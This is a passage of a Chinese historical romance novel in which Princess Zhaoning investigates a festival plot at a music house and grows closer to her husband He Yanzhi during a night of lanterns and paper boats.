楼内喧哗远胜平日,一座锦绣高台雄踞厅中,四周花团簇拥如云。二楼红绸垂落似瀑,仆役们正悬起最后一盏琉璃宫灯。明日归宁节的盛宴,此刻已初现雏形。人群拥塞,朝宁试图从侧梯潜行而上,却还不能明目张胆。
明日便是归宁节,摩什定会加派人手,此时要见南灵,怕是比登天还难。
她忽然想起贺砚知。若他在此,两人配合,或许还能寻个由头混进去。这念头方起,她便自嘲地抿紧唇瓣。从前没有他,她孤身亦能周旋。那些纠缠的梦境,终究是她一个人的事。
眸光流转间,忽在人群中瞥见个熟悉身影。她唇角一扬,抄起桌上一壶烈酒,佯装醉态踉跄撞去。
那人惊惶回首,待看清来人时骤然怔住。
朝宁挎起他的胳膊,学醉汉模样,嚷嚷着要听琵琶,那人眼底掠过一丝了然,扶着朝宁上了二楼。
房门方阖,朝宁倏然松了力道,长舒一口气。
“殿下今日怎又是这般打扮?”云归含笑递来茶盏,眉目依旧温润如水。
朝宁挑眉接过茶盏:“人多眼杂,被认出来平添麻烦。”
“从前殿下可不在乎这些。”云归指尖轻抚琵琶檀木。
她指尖轻叩杯沿,“没办法,最近我成了京中红人了,你没听说?”
这乐宴坊每日来来往往的官员那么多,消息比市井传得都快。
云归眼尾微弯,指尖轻拨琴弦:“现在京中何人不知,颐宁公主勇闯大牢救驸马,听说已有人动笔写话本子了,名儿都起好了——死对头成佳偶。”
朝宁扶额叹气:“别提了,那群老东西正愁找不到由头参我,若瞧见我来这儿,更要惹得他们群情激奋。”
“好,云归不打趣殿下了。”他将手搭在琴上,“殿下想听什么曲子?”
朝宁眼波一转,忽然拍案而起:“云归,你也知道,最近发生了不少事,但是那个贺砚知,根本就不是好东西!”
“左相大人?”云归也有些意外。
不等他想,朝宁手锤在桌上,“我好心救他,让他在府里养伤,他倒摆起谱来,闹着要听琴解闷!”
“为了他救,得了百官弹劾,他却好,如此对我!”朝宁义愤填膺,一副痛心疾首模样。
云归连忙安抚:“许是伤病难熬,想借琴音舒缓...”
“舒缓?”朝宁冷嗤,“他指名要南灵过府弹奏!”
“大人不常来乐宴坊,为何点名南灵姐姐?”
朝宁重重拍案,“谁人不知花魁南灵,一个道貌岸然的家伙,如今借着伤病为由,愈发肆无忌惮了!”
云归眉头微蹙,“那殿下今日来?”
终于转回了正题,“本公主实在咽不下这口气!常来乐宴坊倒是从未仔细听过她的琴,今日便要听听究竟有多玄妙,竟让他如此惦记!待我回府,定要请三十个乐师日夜弹奏,让他听个够!”
云归颔首:“右数第二间,便是她的卧房,殿下可去寻她。”
朝宁忽地凑近,压低嗓音:“我身份不便,方才借醉拉你上楼。你且扶我去南灵门前,装作醉汉闹事非要见她。”
“这...合适吗?”
“为了家宅安宁,你一定要帮我这回。”朝宁虽作男装打扮,可那双杏眼泛起的水光,任谁都难以拒绝。
云归轻叹起身:“既然殿下如此要求,云归帮您。”
两人踉跄着出了房门,云归半扶半架着朝宁,而她不住扭动身子,醉醺醺地嚷道:“小爷不听琵琶!要听琴!要最好的琴!”
行至南灵房前,朝宁抡起拳头就往门上胡乱砸去。
“吱呀”一声,门开了。南灵见到云归搀着个醉汉,不由蹙起秀眉:“云归,这是......”
“这位客官非要听琴,在房里闹得不可开交...”云归面露难色,“实在没法子,只能来叨扰姐姐了。”
南灵本为明日事烦,摆了摆手,“送他下去。”
朝宁适时抬头——四目相对的刹那,南灵神色一凛,随即不动声色地扶住她:“既如此......”转头对云归道,“醉得厉害,下去怕要生事,交给我吧。”
待云归脚步声远去,南灵警惕地环视廊道,"咔嗒"一声落了锁。
朝宁踏入房中,目光迅速扫过并没有什么不同。
“殿下!”南灵突然跪了下去,声音发颤。
朝宁去扶她,“好端端地为何要跪?”
“摩什前几日派人见了我,他威胁我一定要在归宁节上按照他的要求表演,他...”南灵的眼眶微红。
“无碍。”朝宁拍了拍她的手,坐到了椅子上,“跟我说说,他是怎么安排的?”
朝宁目光落在那把古琴上,“边弹边说吧。”
南灵心领神会,琴声起,南灵低声道来,“他说陛下明日必会驾临乐宴坊,定要在陛下面前起舞,命令我在前一天晚上将送来的花瓣全部放在四个隔板里。”
“隔板?”
南灵点头,“为了布置方便,妈妈特意在二楼围栏处做了一个暗格隔板,用来放置缎带。”
朝宁沉思片刻问道:“明日会用到二楼的缎带吗?”
“舞至中段,乐声转急时,便跃上那预置的矮台,此时阁顶自有专人鼓风,暗处侍从会扯动机关,二层隔板应声而开,内贮的轻纱缎带飘然垂落,我会反手接住缎带转动,制造飞天效果。”
“一般会放置花瓣吗?”
南灵摇头,“这段舞排练多次,从未又放过花瓣这一项。”
朝宁又问道:“那日摩什命你献上的东西看见了吗?”
“来人并未提及那个物品,只说将绸缎上放上花瓣即可。”
琴弦震颤间,朝宁心绪烦乱,摩什早在他刚入京便知道皇帝归宁节一定会出游,便安排了一场戏,可如今所献之物却没有了。
一切是否太过巧合,摩什又怎么会知道如此准确信息,又为何突然改了计划?
"咚咚咚!"急促的敲门声骤然响起。
两人皆是一惊,对视下,南灵扬声问道,“谁啊?”
门外人影静立不动,朝宁使了个眼色,南灵会意,“来了!”
朝宁将酒倒在了地上和桌上,掩住面容,醉醺醺地趴在地上,一副昏过去模样。
南灵拉开门,只见一个小厮模样的男子阴沉着脸,怀中抱着个硕大的酒箱——正是乐宴坊常用的那种能装四坛酒的木箱。
“这是......”
小厮不发一言,径直入内。他在"醉汉"身旁顿了顿,阴鸷的目光扫向南灵。
“不过是个闹事的醉鬼,”南灵踢了踢地上的人。
那人又盯了几眼,这才将木箱搁在桌上,塞给南灵一张字条后默然离去。
确认四下无人,南灵长舒一口气关上门
朝宁从地上爬起,全身上下都沾满了酒味。
“殿下为何不躲起来?”
朝宁嫌弃地摆弄着衣袖,“必然有人看到云归扶着一个醉鬼进了你的房间,琴声也响了,他们这时候送过来,只是确定进
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来的是什么人,我要躲起来,反着了他们的道。字条上说什么?”
南灵展开纸条,上面简单二字“花瓣”。
朝宁径直走向墙角的檀木盒,启盖一看,满盒鲜红花瓣与她今日所见别无二致。
南灵拈起一片对着阳光细看:“是红月季,真花无疑。”
朝宁警惕地鼻前嗅了嗅,只有正常花香,没有任何不同。
“殿下明鉴!”南灵倏然跪地,泪珠滚落,“我并未与摩什再有勾结,今日之事...实不知情。”
她声音发颤,“许是我先前行事不密,才坏了大事...”
朝宁淡淡地扫过南灵,“一切尚未定数,未必全如摩什所愿。”
她伸出手将南灵扶起,“按照他说的办。”
指尖挑起一片花瓣包入绢帕,“在这乐宴坊里,你绝非他唯一的棋子,甚至未必是...最重要的那颗。”
-
朝宁被南灵安排的小厮搀扶着出了乐宴坊,她踉踉跄跄地走了许久,直到确认无人跟踪,才闪身钻进一条幽暗胡同。
风拂过,浓烈的酒气熏得她直皱眉。即便朝宁爱喝酒,但此刻浑身浸透的酒味仍让她难以忍受。
想起与贺砚知的约定,她不由加快脚步,必须在入夜前沐浴更衣。
莲心迎上归来的公主,被这熏人的酒气惊得目瞪口呆。朝宁嫌弃地扯下外袍,“快备水,我要沐浴!”
待她终于踏出浴桶时,暮色已笼罩庭院,太阳已经落山。
行至卧房前,见梁蔗杵在门口,一脸苦大仇深。
“杵这儿作甚?”朝宁挑眉,“当门神?”
梁蔗欲言又止,活像吞了只活苍蝇。
朝宁推门而入,被那一大堆折好的纸船所震惊到了,各个棱角分明整整齐齐地摆放在一起。
贺砚知端坐茶案旁,眼中含笑,活像个等待夸奖的孩子。
“叠得这么快,你的手好了?”
贺砚知颇为委屈摇摇头,“这些...不是我折的。”
朝宁瞥了眼门外"门神",噗嗤笑出声:“真是个体贴下属的好主子。”
她俯身清点纸船,发梢的水珠滴在贺砚知手背,带着淡淡花香。
“不错!”她眉眼弯弯,“想到那些老顽固的奏折要变成许愿船,痛快!”
“解气了?”
“一般般吧。”朝宁把玩着一只纸船,“若能亲眼看见他们气歪鼻子的模样......”
贺砚知挑眉,“公主当真要这么做?”
“哼,说说而已,我去许愿,要他们作甚,不过都是和杜仕远蛇鼠一窝,以后多得是机会收拾他们。”朝宁拿起一个纸船,放在眼前仔细打量。
“不得不说,梁蔗手艺不错啊,折得有点水平,可以在外面出摊了。”
贺砚知脸色冷了下来,“那你和梁蔗放去吧。”
在门口外面听到这话的梁蔗感觉浑身发麻,仿佛下一刻主子的飞刀就要落到他脖子上了。
朝宁放下纸船,凑近打量:“哟,贺大人这是......吃醋了?”她故意俯身,吐息如兰,“不过你这腿伤未愈,走得动么?”
话音未落,腰间骤然一紧。天旋地转间,她整个人已跌坐在贺砚知腿上。
“你又偷袭我?”朝宁被他紧紧圈在怀里。
她一个习武之人,却抵不过一个阴险狡诈的男人。
贺砚知几乎贴上她耳垂,“想证明一下,我能陪着你,随时都能。”
朝宁眼波流转,忽然勾起一抹狡黠的笑,同样贴着他耳畔轻语:“那明日...”纤指在他心口画了个圈,“贺大人可要记得自己喝药。”
30. 许愿
怀里温度尚在,只是人儿已经跳了出去。
贺砚知满眼宠溺地跟在后面,看着前面如同小兔子般蹦蹦跳跳的朝宁。
月光柔和撒下,一身白色衣裳似比月光更皎洁。
“梁蔗。”他淡淡唤住欲跟上前的侍卫,一个眼神便令对方噤若寒蝉留在了原地。
府门外,长街灯火如昼。各色花灯将青石板路映得流光溢彩,叫卖声此起彼伏,比中秋更添三分热闹。
朝宁突然想到后面还跟着贺砚知,忙驻足回望,那人正一步一步朝她走过来,手里还拎那一大包的纸船,看着走路是没什么问题,但是速度还是有些慢。
她抱臂倚在朱门边,看他终于走近。
“怎么?”贺砚知抬眼,正对上她探究的目光。
朝宁纤细的手指轻轻戳了戳他的胳膊,“你真的没事?”
“什么事?”贺砚知问道。
“你真的能走到河边?别半路栽了,我可能没办法拖着你走。”
本来是想坐轿子出去的,可步行出府,是她存了逛夜市的小心思。
掌心忽地被温热包裹。贺砚知不容抗拒地扣住她,十指相缠的力度让她挣动不得。
“做什么!”朝宁猝不及防,“...别耍流氓!”话音却莫名发虚。
“怕中途摔了。”他理直气壮攥紧她,“牵着殿下...走得稳些。”
不由分说已牵她步入长街,两袭白衣在灯火中交叠,衣袂翻飞间恍若神仙眷侣。
奇怪的感觉开始弥漫在两人中间,朝宁本来要逛街的想法被遗忘了,唯有交握的掌心传来令人心悸的温度。
“殿下不去逛逛?”贺砚知停住附过身子问道,温热的呼吸拂过她耳畔。
朝宁乱跳的心脏好像被平息了一些,她面上缓了缓有些赌气道,“逛!自然就要逛的,谁让你一直拉着我!”
贺砚知一本正经地道:“这街上人这么多,万一走失了怎么办?还是拉着安心。”
朝宁彻底无语,“我是小孩子吗?还走丢?”
人声嘈杂,朝宁还是听清他说,“我怕,我走丢。”
这声线比月色还温柔,烫得她慌忙别过脸去。
在此时,一缕檀香飘来。她循香望去,只见一旁木雕摊子上,各式物件在灯下泛着温润光泽。贺砚知会意,牵着她行至摊前。
老板十分热情,“这些都是手工雕刻的,各式各样,两位可细细挑选。”
琳琅满目的木雕间,朝宁眸光流转,忽而落在一支檀木簪上。纤指轻拈,细细端详片刻。
只见她笑意盈盈,明媚的人儿就这么展现到贺砚知的眼前。
“我觉得,很适合你。”朝宁十分满意。
“姑娘好眼力,这簪子原是一对。您手里的是雌鸟,这支雄鸟才是一对儿。”
朝宁低眸,果真有一个差不多相似的,比手里拿的大一些,上面刻着一只鸳鸯,两只拼在一起,正好是一对。
一对鸳鸯...朝宁有些动摇,他们俩戴会不会有些奇怪...
正犹豫间,却见贺砚知已经取出银钱放在摊主手中。
“我,我还没说要买呢...”朝宁握着簪子的手却不自觉地收紧。
贺砚知将簪子摊在手上,眼含笑意:“帮我戴上?”
朝宁抿唇,忽地将雌鸟簪往他发间一插:“走啦!”
转身欲逃,却被一把揽回。贺砚知一手扶着她后颈,一手将雄鸟簪缓缓簪入她云鬓。温热的指腹掠过耳际,携着淡香在她发间流连。
“这只也适合你。”朝宁怔在原地,任由他指尖拂过鬓角。
摊主在一旁捋须而笑:“老朽雕了三十年鸳鸯,从未见过比二位更般配的。”
几乎是落荒而逃,朝宁拉着贺砚知,一步不停地到了河边。
河边早已聚集了不少放花船的人。成双成对的男女依偎在河畔,有的正低头折着纸船,有的手捧精致的花灯。
那些花灯样式别致,绢纱上绣着栩栩如生的图案——比翼鸟、连理枝、并蒂莲,无一不是成双成对的吉祥纹样。
贺砚知将手中的袋子交到了朝宁,“好像是缺了花灯,在这儿等我。”
朝宁打开手中的袋子里,那些折好的纸船静静地躺在里面。
若是一个纸船一个愿望,怕是老天爷都觉得不耐烦吧。
朝宁环视着河边,终于在人群中,找到了一个不错的位置。
她蹲在地上,将纸船一个又一个摆出来,大约有二十多个,活脱像一个小孩子把玩自己的玩具。
朝宁拿起一个,想到一会儿要将它们都放在水里,心中愉悦多了。
作为公主,她胡闹过的事情不少,这是头一次敢将奏章折成纸船,还是在那个以守礼雅正著称的贺砚知提议下,更显得如此荒谬。
灯笼很快就来了,就是数量...有点多。
“你买那么多干嘛?”朝宁苦笑不得,手中还是接过两个。
四个图案各有不同,有小兔子、金鱼、莲花和梅花。
“不多,不知你喜欢哪个,所以都买了。”
朝宁手指轻轻触动花灯上的图案,绣在薄纱上面,熠熠生辉。
“喜欢吗?”贺砚知柔声问道,眼中有她看不到的深情。
朝宁点点头,拿在手中有些爱不释手,“喜欢。”
“快快快!我们赶紧许愿!”旁边的姑娘已经将船放到河里,随着小船浮动,她闭上双眼。
贺砚知接过她手中的灯,放在一边,拉着她的手,两人一起蹲下。
他们的船无法像其他人买来的船一样,能放下蜡烛,但是这丝毫不影响朝宁的雀跃。
两人将岸上所有的纸船全放在河里,河边微风轻吹,将船一点一点推向远处。
“贺砚知,快许愿!”朝宁喊着他时,自己已经合上双掌。
她心中默念着一个个愿望,愿国泰民安,愿百姓安居乐业,愿父皇龙体康健...当念到身边之人时,她将每一个亲近之人都细细祈愿了一遍。
直到脑中浮现出贺砚知名字时,她的呼吸忽然一滞。
“愿贺砚知...”她在心底轻声念着,长睫微微颤动,却忽然不知该许什么愿才好。愿他平安?愿他仕途顺遂?还是...愿他...
河面上,有两只纸船不知何时并排在一起,随着水波轻轻相碰,又一同飘向远方。
再睁眼,贺砚知准正看着她,眼中藏着道不明的情绪。
朝宁有些不自在,偏过头不想与他对视,她也不知道从何时起,与他眼神交汇时,心中总是慌乱
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不堪。
“许了什么愿?”贺砚知靠近着她坐下,顺手将放着纸船的布包放在她的身后。
“不是说愿望说出来,就不准了。”朝宁偏头,贺砚知正好扶着她坐了下去。
没有意外的冰凉。
贺砚知神情自若,正低着头,帮忙整理朝宁的裙摆。
朝宁忽然地想起了什么,“贺砚知,你不会没许愿吧。”
贺砚知的手顿了一下,阴沉的眸子再抬起时,带着一丝柔和。
他望着河面密密麻麻的小船,微弱的烛光映在漆黑的河面上,如同繁星点点。
“我少年蒙受皇恩,坐到现在的位子,已然超过许多人,如今娶了公主,我...没有什么愿望了。”他的声音如月下清笛,悠远而平静。
他的目光没有停留在任何一盏花灯上,也没有看向身旁的朝宁,只是静静地望着那些渐行渐远的纸船。月光为他清隽的侧脸镀上一层银辉,却照不进那双深不见底的眼眸。
不等朝宁多想,贺砚知已然站身,向她伸出手,“想不想去其他地方逛逛。”
话音未落,朝宁的手已不自觉地抬起。
两人拎着四盏花灯,穿行在熙攘的人潮中。
贺砚知率先开口,“殿下今日去了乐宴坊?”
朝宁不算意外,“你是怎么知道的?”
“殿下身上...”他倾身靠近,声音压低,“还留着淡淡的酒香。”
“胡说!”朝宁慌忙低头嗅自己的衣袖,黛眉轻蹙,“我明明沐浴更衣...哪里还有...”
“喂,你怎么!”朝宁直接跌入了他的怀里,四盏花灯同时坠落。
她不解,这个男人最近为什么总会抱着她?还总说些奇奇怪怪的话,连带着自己也变得有些奇怪。
贺砚知将下颌轻抵在她肩头,温热的呼吸拂过她后颈:“这般...便闻得到了。”
路过的人不断有眼神向他们这边看来,惹得朝宁又羞又恼。
“好啦!快放开我!”朝宁想推开贺砚知,却又想到他身上的伤,不敢用力,只能好声地让他松开。
禁锢着拥抱终于松开,朝宁松了口气,可是地上那四盏花灯却有些惨,已不复方才的精致模样。
“都怪你!”朝宁蹲下身想要去捡,贺砚知拉住了她,“算了,喜欢可以再买新的。”
朝宁还未来得及反驳,已被他拉着跌跌撞撞穿行在人群中。七拐八绕间,竟来到一处僻静胡同。外头的喧嚣仿佛被一道无形的墙隔绝,只余下两人交错的呼吸声在幽暗中格外清晰。
“为什么不告诉我?”贺砚知忽然松开她的手,转身将她困在墙角。
“乐宴坊的事。”他俯身逼近,呼吸拂过她轻颤的睫毛,“如今,摩什虎视眈眈,乐宴坊亦在他控制范围,单独去会很危险。”
朝宁仰头望进他眼底,那里翻涌着的担忧清晰可见。
“无碍的。”她轻声安抚,“已顺利见到南灵,相信明日摩什的计划一定不会得逞。”即使她心中仍惴惴不安,却又不想让他担心。
巷外忽有烟花腾空,瞬间的光亮照到她精致的眉眼。
“朝宁。”他罕见地唤她全名,指尖轻轻抚上她细腻的脸颊。
在漫天喧哗声中,他吻上了她的唇角。
31. 你是希望
浑身血液在这一刻停止,周围所有喧闹声都淹没在这一个吻中。
一触即分,似梦一般,却又无法忽视唇上残留的温度。
她怔在原地,只听得到自己擂鼓般的心跳。
“你...”声音有着自己都未察觉地颤抖。
贺砚知喉结滚动一下,眼中翻涌着难以言说的情愫。
他修长的手指仍停留在她脸侧,拇指无意识地摩挲着她泛红的脸颊。
“我...”他的声音比平常低沉几分,带着几番犹豫。
朝宁心中莫名的慌乱,一切呼之欲出而又止。
贺砚知的视线还落在那一处柔软,划过脸颊的指尖快要触碰。
怀里的人儿侧过脸,他摸了个空。
“那个…我在乐宴坊拿出一片花瓣…”朝宁声音渐弱,“需要去查证...”
贺砚知轻柔地将她鬓边碎发别至耳后:"那便去查。"
朝宁慌乱地将他推开,“去…花坊吧。”
她甚至不敢转过头去看贺砚知,那种失控的感觉堵在心口,连同脑子也晕晕的。
被推开的贺砚知向后踉跄两步,指尖不自觉地碰了碰自己的嘴唇。
他望着公主仓惶远去的背影,心头漫上苦涩,“是不是太快了,吓到她了…”
朝宁在人群中不断穿梭,贺砚知便在身后跟着,这一次她并没有缓下步子等他。
说是去花坊,朝宁却只是在街上四处打转,摇曳的灯影,如同她纷乱的心绪。
耳尖的热意久久未散,她的脑海里还反复闪过他们之间相处的画面,牵手、拥抱,不知从何时起,他们早已越过原有的界限,在无数个心照不宣的瞬间悄然靠近。
在那一刻,朝宁不得不承认,贺砚知那双含情脉脉的眼睛却让她方寸大乱。
所以,她与贺砚知…
“朝宁。”随着一声呼唤,她的手被牢牢牵住。
她慌乱转头,贺砚知立在流转的灯火深处,人潮如织,他却只凝望着她。
不等朝宁开口,“不是要去花坊?”
朝宁木讷地点点头,贺砚知稍稍用力将她带至身侧。
“走错方向了。”
贺砚知牵着朝宁,二人并肩走在街上,不过片刻,心境却与出府前大相径庭。
“刚刚,是我唐突了。”朝宁听清了这句话。
“没…没事,许是…”她也有些语无伦次,“本公主不计较…”
不知又走了多久,尴尬的气氛始终围在二人之间。
“和我说说。”贺砚知率先开口,打破这份沉寂。
朝宁侧首望去:“说什么?”
“今日乐宴坊发生什么事了?”他目光沉静,恰如其分地避开她眼底未散的慌乱。
提及乐宴坊,朝宁神色变得严肃起来,“南灵未曾收到原定的献礼,唯有一箱花瓣送至她手。”
“花瓣?”
“归宁夜舞时,本要拉动二楼绸缎制造飞天之效。”她指尖无意识蜷紧,“但她接到的密令,是将缎带上放上准备好的花瓣,到时随绸缎一起飘下。”
她回想起那花瓣触感,“送来只是普通的红色月季,仔细验过是真花无疑。”
贺砚知静静地听完朝宁的话,“所以,想去花坊查查这花瓣?”
朝宁颔首,“摩什为了这归宁节费尽心思,怎会只是放花瓣这么简单?为今之计,也只能查查这花瓣是否有问题。”
他忽然收拢掌心,将她手指拢得更紧:"下次莫要独自涉险。"
朝宁猝然转头,恰跌进那双映着万家灯火的眼眸,翻涌着担忧如网般将她的心缠绕。
"我..."她长睫轻颤,终是低声应道,"知道了。"
话毕,谁也没再开口,牵着的手也未放开,最终走到了花坊门前。
鎏金的牌匾颇为气派印着“花坊”二字,这是京城最大的收售鲜花之地,据说前朝时也曾专门为宫里供花,一直流传至今。
因着归宁节缘故,来这花坊买花的人是络绎不绝。
贺砚知牵着朝宁的手,挤过围在门前的人群,花坊掌柜站在柜台前噼里啪啦算着账目。
直到两个人影站在他面前才抬起头来,“二位是?”
在京城混迹多年,从二人穿着来看,非富即贵,语气也客气起来。
“想来求掌柜帮个忙。”
掌柜皱眉,“我们这坊只是个卖花小铺,实在不知能帮二位什么忙?”
“劳烦掌柜,瞧一瞧这是什么花。”朝宁去拿那被包起的花瓣,却才发觉贺砚知还在拉着她的手。
朝宁朝着贺砚知飞去一个眼神,贺砚知才不急不慢地松开了手。
这一路紧紧相握,两人掌间早已沁出薄汗。
朝宁小心翼翼将帕子展开,里面那片红色花瓣已经鲜艳,万幸没有枯萎。
掌柜接过花瓣,呢喃道:“看似像是月季...”
他将这片花瓣至于烛火前,又仔细打量一番,随后点点头,“不会错的,这就是一个月季花瓣。”
“当真吗?”
“这花坊每日来来往往多少花,当然可以分辨,而且这只是月季,不算罕见,若是二位不信,也可到他处问讯。”
朝宁接过花瓣放于帕子中,凝神不语。
掌柜见状笑着打破沉寂:“明日便是归宁节,公子是否买束花,送于夫人。”
坊内摆着许多花,每束都是被精心包起,贺砚知望向身旁出神的朝宁,“就要那束吧。”
朝宁心绪始终缠绕在这片花瓣上,她怎么也想不通到底有何作用?
归宁节在即,已无法阻止父皇游行,她第一次尝到无能为力的滋味。
“给你。”一捧雪白忽然映入眼帘。
朝宁接过来,颇为意外:“茉莉?”
踏出花坊时,她左手捧着茉莉花束,右手被温热掌心轻柔包裹。
“贺砚知...”朝宁轻声唤他,声音里浸着少见的迷茫,“你说,明日该怎么办...”
“你已经做了许多了。”
朝宁丧气地摇头,“终究是徒劳,我总是天真的以为自己真的能阻止一些事发生...”
她望着长街熙熙攘攘的人群,“可从来没有成功过。”
刺杀摩什失败,已未能阻止他进京,到如今,以为的胜券在握,不过又是被戏耍罢了。
贺砚知未语只是带着她走到了醉月楼后。
“那晚,房上美景却如殿下所言,今夜可否再睹一次?”
最后,朝宁还是带着他再上醉月楼顶,今夜不如中秋那日月圆,心境也不似那晚。
两人并肩坐在梁上,四周不再喧闹更显一份宁静。
朝宁轻叹一口气,“说吧,为何偏要来此?”
“我能唤你名字么?”贺砚知没头没尾地说了这句话,却让朝宁愣住了。
“你...”转过头,正对上贺砚知的眸子,又让她想起那个莫名其妙的吻。
朝宁别过头,“叫吧,在我这儿没有那么多规矩。”
“朝宁。”贺砚知嘴角上
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扬,试探般唤了她一声。
这一声随风落入耳中,她心口忽然泛起细密的悸动。
贺砚知轻轻揽过朝宁的肩,温热的掌心贴着她微凉衣袖,朝宁猝不及防跌入他怀间。
她僵着身子欲抬头,却被他以指尖轻抵发顶:"别动。"
朝宁靠在他怀里逐渐放松下来,汲取他带来的安全感。
“若不是你力证清白,救我出狱,或许我真已丧命。”贺砚知轻轻拍着她,“作为颐宁公主,你坚毅果敢,无人能及。作为朝宁....”
他顿了顿,一字一句清晰落下,“你是所有人的希望。”
朝宁强撑着心仿佛在这一刻土崩瓦解,含在眼中的泪一滴又一滴的滑落脸颊。
贺砚知将她拥得更紧,掌心轻抚她微颤的后背。
天边一朵一朵的烟花炸开,盖过了她压抑的抽噎声,不知相拥多久,贺砚知忽然听见怀中传来闷闷的声响。
“贺砚知,我快被你闷死了。”
朝宁从他怀中起来时,眼眶通红,泪痕犹在脸上未干,时不时还有泪珠滚落。
贺砚知用指尖擦过朝宁的脸颊,“小哭猫。”
朝宁气鼓鼓地转身,将自己脸上的泪水抹去,“都怪你!”
“好好好,都怪我。”贺砚知扶住她肩膀轻轻转回,迫使她面对自己。
“别总一个人扛着...”贺砚知捧着她哭红的脸,“现在我是你的驸马,你是我的妻子,可以试着依赖我几分?”
朝宁被他逗笑,“你能做什么...”
“自然是要公主殿下排忧解难...”
贺砚知视线扫过街上人影,“是时候了,带你去看出好戏。”
朝宁带着贺砚知下到醉月楼后巷,二人隐在阴影中静候,朝宁如何问他,贺砚知始终含笑不语。
直到身后传来细微脚步声,朝宁警惕回首,却见来人是梁蔗。
贺砚知见到梁蔗后,对他点了点头,却让朝宁一头雾水。
“你们瞒着我什么?”
“去了就知道了。”贺砚知自然地牵起朝宁的手,而朝宁也未反抗。
梁蔗留在身后目瞪口呆,不过是出来放个花灯,两人的关系...动作如此娴熟,公主像是哭过...
梁蔗打了个寒颤,不敢再想。
贺砚知带着朝宁最后停在了乐宴坊门前,朝宁打量四周,轻声道:“这四周恐有摩什的人,为什么带我来这儿?”
贺砚知没有回应她,再当朝宁想继续问时,轰然巨响撕裂夜空!
乐宴坊二楼突然火光冲天,燃烧的黑烟四处飘散,乐宴坊中宾客惊慌失措跑出来!一时间整个长街乱成了一团!
朝宁见状,刚要冲过去救火,便被贺砚知拉住。
身后骤然传来整齐踏步声,一群执金吾恰时出现,顷刻间清空街道。
这场火来得快,去得也快,不过半盏茶功夫,火已扑灭,坊内无一人伤亡,街上只剩下老鸨坐街哭喊着所有准备全白费了。
朝宁全程目瞪口呆,等一切结束时贺砚知已经拉着她的手回家了。
刚进庭院,贺砚知就被朝宁抓住了衣领,“说清楚,乐宴坊的火是你的手笔?”
“既然摩什想让这花瓣出现在归宁节上。”他任她揪着衣襟,“不如直接毁了,只是场意外,无从查证。”
趁她凝神,贺砚知搂过她的腰,将人整个带到身前。
朝宁并未闪躲,反凑近他耳畔,“贺砚知,一向儒雅著称的右相,做事竟也这般狠辣。”
32. 归宁节
“坊内已经提前安排好,不过是混进去几个人,不慎''引燃了二楼绸缎,又正巧遇见执金吾巡防。”
贺砚知轻轻抚着她的发丝,“不过一晚,花瓣尽毁,绸带被烧,明日必然成不了。”
朝宁又问道:“京城的花坊可不缺花,如若真是普通花瓣,想必不难寻,贺大人该如何?”
他唇角微扬,“京中应不久便传出,''为讨公主欢心,贺府将所有花尽数买下。''”
朝宁震惊地抬头与他对视,“全部?都买下了?”
贺砚知点头,“已安排在后院,公主可以随时赏玩。”
“贺大人真是财大气粗。”朝宁调侃道。
“账册早由夫人过目,日后还要多赚钱两,交于夫人。”贺砚知说得一本正经。
一句“夫人”说得朝宁面红耳赤,意识到自己还倚在贺砚知怀里,慌忙挣脱开来。
“计策是不错,本公主也算...满意。”匆匆撂下一句话,朝宁疾步地奔向自己的院子。
原以为所谓"买尽存花"不过是夸张之辞,待踏入院门那刻,还是被吓了一跳。
各式各样的花铺在地上,院中已被这五彩斑斓点缀。
“殿下您回来了!”莲心正在数着花,脸上雀跃的小表情藏不住。
“驸马当真疼爱殿下,花送来时,奴婢也被吓了一跳。”
朝宁脸上的热意未散去,又被这铺天盖地的姹紫嫣红搅得心口发胀。
“莲心,先好生收着,这些花就这么枯萎也是可惜...”朝宁叹口气,“过些时日将花瓣采下晒干以做他用。”
“殿下...”
"今日乏了。"朝宁转身避开视线,"想早些歇息。"
莲心连忙起身伺候梳洗,尽管她家公主未说,她还是看出今日有些反常,眼眶有些红肿似是哭过,整个人更是神思恍惚,望着烛火怔怔出神。
梁蔗跟着贺砚知回了书房,一路上忧心忡忡。
关上门,梁蔗还是忍不住开口,“主子,今日之事为何要阻拦,对于我们...”
“我知道你要说什么。”贺砚知将案上宣纸徐徐铺开,“既然做了,也就没有后悔的余地。”
攥在梁蔗手中的竹信筒交到了贺砚知的面前,他取出了其中的密信。
摇曳的烛火下可见贺砚知逐渐阴沉的脸色,梁蔗更是忐忑地站立,恐接受不住主子的怒意。
可贺砚知只是看完之后,淡淡地将其扔进炭盆,瞬间换成灰烬。
"他们还以为能如从前般操控我..."他唇角勾起冷冽的弧度,“可如今我才是京城的执棋人。”
“只是主子和公主走得越近,我怕...会牵连到公主...”梁蔗曾经对公主没有好感,甚至怕连累主子大计,可...如今,却也怕真的会受伤。
贺砚知手中一顿,缓缓抬眼,“她是大夏的公主,更是大夏右相明媒正娶的妻,如若他们真敢动手,便要承担这样做的后果。”
梁蔗点了点头,心里却轻松不少,“那是否还要回信?”
贺砚知在纸上匆匆写下几字,又放回那竹信筒,“传话过去——若还想让计划顺利进行,就少插手京城事。”
第二日清晨,伴着晨曦照进院子,朝宁已经穿戴整齐,今日皇帝出行,她作为颐宁公主自然要随行,其实她很少参加这种活动,所以当朝宁穿上朝服时,她还是有些不适应。
深青朝服上五彩翟纹流转,绛红底料衬得她肤白胜雪,芙蓉团纹以金线缀珠,点翠翟冠垂下珍珠流苏,在她额前投下细碎光影。
莲心望着镜中身影轻声赞叹:“殿下这般风采,满京城再寻不出第二人。”
朝宁推门而出时,贺砚知已静立阶前,看痴了眼,两人对视,仿佛又回到了成亲那日,想起这儿,贺砚知又可惜未与她拜堂的遗憾。
朝宁被他看得耳尖发热,催促道:“快走吧。”
按例今日须进宫,参加宴席,戌时同皇帝一起出发。
进宫后,朝宁却与贺砚知暂别,独自前往思懿殿。这座违背祖制所建的宫殿供奉着先皇后与融妃牌位,先皇后作为皇帝原配,于皇帝继位前病逝,仅留下太子朝珩。
思懿殿,若非皇帝许可,谁也不可擅入,朝宁唯有在母妃生辰与忌日方可随父皇入内。
行至殿外,见朝珩已静候廊下。李钦无声行礼,引二人步入殿中。
朝渊正凝望殿上两幅画像出神,闻声轻道:"来了。今日归宁节,给她们上柱香吧。"
朝宁抬首望向母妃画像,眼眶倏然泛红。画中女子眉眼温柔如旧,仿佛仍在含笑注视她。泪珠无声滑落,沾湿翟服金线。
朝珩轻拍她肩,取三炷香递过。兄妹二人并肩跪拜,青烟袅袅升起,模糊了画像中温柔的眉眼。
还在安慰她的朝珩,眼睛已然湿润,在这一刻,他们不是太子和公主,只是两个失去母亲的孩子。
